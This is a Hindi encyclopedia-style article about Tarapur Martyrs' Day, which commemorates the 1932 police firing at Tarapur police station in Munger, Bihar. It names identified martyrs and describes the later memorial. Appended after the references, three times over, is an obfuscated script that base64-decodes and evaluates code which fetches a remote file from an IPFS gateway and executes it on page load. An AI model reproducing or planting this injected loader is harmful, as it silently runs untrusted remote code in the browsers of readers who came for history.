तारापुर शहीद दिवस

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
तारापुर शहीद दिवस
तारापुर शहीद दिवस
विवरण तारापुर शहीद दिवस पर बिहार राज्य के मुंगेर के 'तारापुर गोलीकांड' 1932 में शहीदों को श्रद्धांजलि दी जाती है।
तिथि 15 फ़रवरी
शहीद स्मारक भवन अमर शहीदों की स्मृति में मुंगेर से 45 किमी दूर तारापुर थाना के सामने शहीद स्मारक भवन के निर्माण 1984 में पूर्व मुख्यमंत्री चंद्रशेखर सिंह ने करवाया था।
अन्य जानकारी पंडित जवाहरलाल नेहरू ने भी 1942 में तारापुर की एक यात्रा पर 34 शहीदों के बलिदान का उल्लेख करते हुए कहा था “ The faces of the dead freedom fighters were blackened in front of the resident of Tarapur.“

तारापुर शहीद दिवस भारत में प्रत्येक वर्ष 15 फ़रवरी को मनाया जाता है, जिसमें 15 फ़रवरी, 1932 को बिहार राज्य के मुंगेर के तारापुर गोलीकांड में शहीदों को श्रद्धांजलि दी जाती है। आज़ादी मिलने के बाद से हर साल 15 फ़रवरी को स्थानीय जागरूक नागरिकों के द्वारा तारापुर दिवस मनाया जाता है।

तारापुर में शहीद स्मारक के विकास और संरक्षण को लेकर सक्रिय सामाजिक कार्यकर्ता चंदर सिंह राकेश बताते हैं कि जलियाँवाला बाग़ से भी बड़ी घटना थी तारापुर गोलीकांड। सैकड़ों लोगों ने धावक दल को अंग्रेज़ों के थाने पर झंडा फहराने का जिम्मा दिया था। और उनका मनोबल बढ़ाने के लिए जनता खड़ी होकर भारतमाता की जय, वंदे मातरम् आदि का जयघोष कर रहे थे। भारत माँ के वीर बेटों के ऊपर अंग्रेज़ों के कॅलक्टर ई ओली एवं एस.पी. डब्ल्यू फ्लैग के नेतृत्व में गोलियां दागी गयीं थी। गोली चल रही थीं लेकिन कोई भाग नहीं रहा था। लोग डटे हुए थे। इस गोलीकांड के बाद कांग्रेस ने प्रस्ताव पारित कर हर साल देश में 15 फ़रवरी को तारापुर दिवस मनाने का निर्णय लिया था।[1]

इतिहास

15 फ़रवरी, 1932 की दोपहर सैकड़ों आज़ादी के दीवाने मुंगेर ज़िला के तारापुर थाने पर तिरंगा लहराने निकल पड़े। उन अमर सेनानियों ने हाथों में राष्ट्रीय झंडा और होठों पर 'वंदे मातरम्', 'भारत माता की जय' नारों की गूंज लिए हँसते-हँसते गोलियाँ खाई थीं। भारतीय स्वतंत्रता संग्राम के सबसे बड़े गोलीकांड में देशभक्त पहले से लाठी-गोली खाने को तैयार हो कर घर से निकले थे। 50 से अधिक सपूतों की शहादत के बाद स्थानीय थाना भवन पर तिरंगा लहराया गया। घटना के बाद अंग्रेज़ों ने शहीदों का शव वाहनों में लाद कर सुल्तानगंज की गंगा नदी में बहा दिया था।

सिर्फ 13 शहीदों की पहचान हुई

शहीद सपूतों में से केवल 13 की ही पहचान हो पाई थी। ज्ञात शहीदों में विश्वनाथ सिंह (छत्रहार), महिपाल सिंह (रामचुआ), शीतल (असरगंज), सुकुल सोनार (तारापुर), संता पासी (तारापुर), झोंटी झा (सतखरिया), सिंहेश्वर राजहंस (बिहमा), बदरी मंडल (धनपुरा), वसंत धानुक (लौढि़या), रामेश्वर मंडल (पड़भाड़ा), गैबी सिंह (महेशपुर), अशर्फी मंडल (कष्टीकरी) तथा चंडी महतो (चोरगांव) थे। 31 अज्ञात शव भी मिले थे, जिनकी पहचान नहीं हो पायी थी। कुछ शव तो गंगा की गोद में समा गए थे।

इलाके के बुजुर्गों के अनुसार शंभुगंज थाना के खौजरी पहाड में तारापुर थाना पर झंडा फहराने की योजना बनी थी। खौजरी पहाड, मंदार, बाराहाट और ढोलपहाड़ी तो जैसे क्रांतिकारियों की सुरक्षा के लिए ही बने थे। मातृभूमि की रक्षा के लिए जान लेने वाले और जान देने वाले दोनों तरह के सेनानियों ने अंग्रेज़ सरकार की नाक में दम कर रखा था। इतिहासकार डी सी डीन्कर ने अपनी किताब "स्वतंत्रता संग्राम में अछूतों का योगदान" में भी तारापुर की इस घटना का ज़िक्र करते हुए विशेष रूप से संता पासी और शीतल चमार के योगदान का उल्लेख किया है।[1]

पंडित जवाहरलाल नेहरू ने भी 1942 में तारापुर की एक यात्रा पर 34 शहीदों के बलिदान का उल्लेख करते हुए कहा था “ The faces of the dead freedom fighters were blackened in front of the resident of Tarapur.“

शहीद स्मारक भवन

अमर शहीदों की स्मृति में मुंगेर से 45 कि.मी. दूर तारापुर थाना के सामने शहीद स्मारक भवन का निर्माण 1984 में पूर्व मुख्यमंत्री चंद्रशेखर सिंह ने करवाया था। तारापुर के प्रथम विधायक बासुकीनाथ राय, नंदकुमार सिंह, जयमंगल सिंह, हित्लाल राजहंस आदि के प्रयास से शहीद स्मारक के नाम पर एक छोटा-सा मकान खड़ा तो हो गया, लेकिन तब के बाद सरकार ने स्मारक के संरक्षण और विस्तार में कोई दिलचस्पी नहीं दिखाई है। शहीद स्मारक के सामने तिराहे पर शहीदों की मूर्तियां लगाने की कवायद वर्षों से चल रही है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 भारतीय स्वतंत्रता संग्राम की सबसे बड़ी शहादत (हिंदी) जनोक्ति। अभिगमन तिथि: 25 फ़रवरी, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>